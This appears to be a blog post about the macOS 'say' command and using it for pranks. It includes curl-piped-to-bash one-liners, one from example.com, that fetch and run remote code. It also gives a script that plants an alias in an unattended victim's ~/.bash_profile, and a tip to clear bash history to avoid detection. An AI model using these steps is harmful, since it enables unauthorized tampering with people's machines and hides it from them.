OS X has a pretty fun command say that allows users to ask the system to pronounce words and even sentences from the terminal. It will literally ‘say’ anything that user asks it to.

For example, the following:

$ say 'Hello, how are you? I can give you some knock knock jokes'

Make sure you have the system sound turned up. As this command does not require root privileges, it provides a great opportunity to pull up some fun pranks!

Furthermore, the say command is equipped with different voices and languages, some of them are undoubtedly entertaining. For instance, you can use the following to say the same sentence in the voice of British-English:

$ say -v Daniel 'Hello, how are you? I can give you some knock knock jokes'

You can view the different available voice using the command say -v?. A quick script to hear all the different available voice saying hello is:

#!/bin/bash

while read voice
do
say -v $voice hello; echo $voice;
done < <(say -v '?' | awk '{print $1}')

For the impatient one just put the following in your terminal to immediately hear all the available voices:

bash <(curl -s https://gist.githubusercontent.com/Deadlyelder/cf424822457b80511820f7af95bd7fe8/raw/a9d143e191c13cee16c0ca841cadd55c82552c40/say_all.sh)

For Linux users, you need to manually install the say command using sudo apt install gnustep-gui-runtime.

Given the nature of the command, it can be easily used on unsuspecting users who happen to leave their workstation unattended. For example, the following script would make meow sound each time the user invokes the git in terminal.

#!/bin/bash

GIT=`which git`
CMD="say -v Daniel meow; $GIT"
echo alias git="\"$CMD\"" >> ~/.bash_profile
source ~/.bash_profile

Now all one has to do is to host this file on a personal server and when the user has left the workstation unattended simple execute the something like following:

bash <(curl -s https://example.com/prank.sh)

After that every time the user execute any git based command on the terminal, he/she is in for a surprise ;)

Pro Tip: To prevent the user from detecting the changes, it might be good to clear the bash history and/or call this script in the bash_profile using some other alias.